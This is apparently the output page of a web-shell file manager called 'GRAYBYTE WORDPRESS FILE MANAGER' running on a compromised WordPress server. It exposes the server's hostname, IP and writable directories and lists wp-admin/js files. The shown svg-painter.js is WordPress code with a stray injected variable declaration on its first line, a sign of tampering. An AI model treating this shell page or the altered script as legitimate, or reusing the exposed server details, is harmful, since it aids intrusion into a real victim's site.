$73 GRAYBYTE WORDPRESS FILE MANAGER $51

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bqrcodec/.trash/wp-admin/js/

HOME
Current File : /home/bqrcodec/.trash/wp-admin/js//svg-painter.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$( function() {
		// Detection for browser SVG capability.
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// Loop through all elements.
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// Paint icon in 'current' color.
					painter.paintElement( $element, 'current' );
				} else {
					// Paint icon in base color.
					painter.paintElement( $element, 'base' );

					// Set hover callbacks.
					$menuitem.on( 'mouseenter', function() {
						painter.paintElement( $element, 'focus' );
					} ).on( 'mouseleave', function() {
						// Match the delay from hoverIntent.
						window.setTimeout( function() {
							painter.paintElement( $element, 'base' );
						}, 100 );
					} );
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// Only accept hex colors: #101 or #101010.
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// Replace `fill` attributes.
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

					// Replace `style` attributes.
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// Replace `fill` properties in `<style>` tags.
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
18 Mar 2026 5.50 AM
bqrcodec / bqrcodec
0755
widgets
--
27 Jan 2024 2.08 PM
bqrcodec / bqrcodec
0755
wp-site
--
18 Mar 2026 5.50 AM
bqrcodec / bqrcodec
0755
code-editor.js
11.392 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
code-editor.min.js
3.086 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
color-picker.js
9.614 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
color-picker.min.js
3.479 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
comment.js
2.919 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
comment.min.js
1.359 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
custom-header.js
2.051 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
customize-controls.js
286.537 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
customize-controls.min.js
109.047 KB
21 Apr 2024 5.31 PM
bqrcodec / bqrcodec
0444
customize-nav-menus.js
105.983 KB
21 Apr 2024 5.18 PM
bqrcodec / bqrcodec
0444
customize-nav-menus.min.js
44.598 KB
21 Apr 2024 5.37 PM
bqrcodec / bqrcodec
0444
customize-widgets.js
70.099 KB
21 Apr 2024 5.33 PM
bqrcodec / bqrcodec
0444
customize-widgets.min.js
27.474 KB
21 Apr 2024 5.18 PM
bqrcodec / bqrcodec
0444
edit-comments.js
36.726 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
edit-comments.min.js
15.064 KB
21 Apr 2024 5.14 PM
bqrcodec / bqrcodec
0444
editor-expand.js
41.684 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
editor-expand.min.js
13.211 KB
21 Apr 2024 5.27 PM
bqrcodec / bqrcodec
0444
editor.js
44.329 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
editor.min.js
12.941 KB
21 Apr 2024 5.41 PM
bqrcodec / bqrcodec
0444
gallery.js
5.488 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
gallery.min.js
3.729 KB
21 Apr 2024 5.12 PM
bqrcodec / bqrcodec
0444
image-edit.js
38.28 KB
21 Apr 2024 5.40 PM
bqrcodec / bqrcodec
0444
image-edit.min.js
14.371 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
inline-edit-post.js
17.827 KB
21 Apr 2024 5.33 PM
bqrcodec / bqrcodec
0444
inline-edit-post.min.js
8.299 KB
24 Mar 2024 3.43 PM
bqrcodec / bqrcodec
0444
inline-edit-tax.js
7.689 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
inline-edit-tax.min.js
3.002 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
language-chooser.js
0.944 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
language-chooser.min.js
0.488 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
media-gallery.js
1.348 KB
21 Apr 2024 5.17 PM
bqrcodec / bqrcodec
0444
media-gallery.min.js
0.672 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
media-upload.js
3.459 KB
21 Apr 2024 5.34 PM
bqrcodec / bqrcodec
0444
media-upload.min.js
1.2 KB
21 Apr 2024 5.22 PM
bqrcodec / bqrcodec
0444
media.js
6.465 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
media.min.js
2.435 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
nav-menu.js
50.164 KB
21 Apr 2024 5.37 PM
bqrcodec / bqrcodec
0444
nav-menu.min.js
25.424 KB
21 Apr 2024 5.29 PM
bqrcodec / bqrcodec
0444
password-strength-meter.js
4.212 KB
21 Apr 2024 5.13 PM
bqrcodec / bqrcodec
0444
password-strength-meter.min.js
1.172 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
password-toggle.js
1.383 KB
21 Apr 2024 5.22 PM
bqrcodec / bqrcodec
0444
password-toggle.min.js
0.902 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
revisions.js
33.2 KB
21 Apr 2024 5.30 PM
bqrcodec / bqrcodec
0444
revisions.min.js
17.523 KB
21 Apr 2024 5.26 PM
bqrcodec / bqrcodec
0444
set-post-thumbnail.js
0.931 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
set-post-thumbnail.min.js
0.681 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
site-health.js
13.351 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
site-health.min.js
6.229 KB
21 Apr 2024 5.21 PM
bqrcodec / bqrcodec
0444
svg-painter.js
5.468 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
svg-painter.min.js
2.407 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
tags-suggest.js
5.607 KB
21 Apr 2024 5.14 PM
bqrcodec / bqrcodec
0444
tags-suggest.min.js
2.268 KB
21 Apr 2024 5.26 PM
bqrcodec / bqrcodec
0444
theme-plugin-editor.js
24.866 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
theme-plugin-editor.min.js
11.535 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
theme.js
54.745 KB
21 Apr 2024 5.36 PM
bqrcodec / bqrcodec
0444
theme.min.js
26.496 KB
21 Apr 2024 5.37 PM
bqrcodec / bqrcodec
0444
updates.js
93.352 KB
21 Apr 2024 5.40 PM
bqrcodec / bqrcodec
0444
updates.min.js
40.72 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
user-profile.js
13.854 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
user-profile.min.js
6.204 KB
21 Apr 2024 5.13 PM
bqrcodec / bqrcodec
0444
user-suggest.js
2.322 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
user-suggest.min.js
0.735 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
widgets.js
22.632 KB
24 Mar 2024 3.43 PM
bqrcodec / bqrcodec
0444
widgets.min.js
12.389 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF